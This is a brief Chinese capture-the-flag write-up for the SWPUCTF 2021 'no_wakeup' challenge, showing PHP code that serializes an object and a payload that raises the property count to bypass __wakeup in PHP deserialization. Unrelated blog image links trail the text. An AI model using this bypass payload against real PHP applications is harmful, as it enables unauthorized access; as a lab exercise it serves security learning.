NSS [SWPUCTF 2021 新生赛]no_wakeup
先看题目,反序列化,绕过weakup。

exp:
<?php
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "wllm";
}
}
$j17 = new HaHaHa();
echo serialize($j17);
?>
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} 改成
O:6:"HaHaHa":【3】:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}










![【数据结构与算法】将含有n个元素的整数数组A[0…n-1]的元素循环右移1≤m<n)位。要求算法的空间复杂度为O(1)。](https://img-blog.csdnimg.cn/0e4a9c7a3f7d4325a3fcbe145698b6d8.png)
![[MySQL]MySQL数据库基础](https://img-blog.csdnimg.cn/img_convert/fae5bf1d4fe0bd9963e7449f831c7aa8.png)








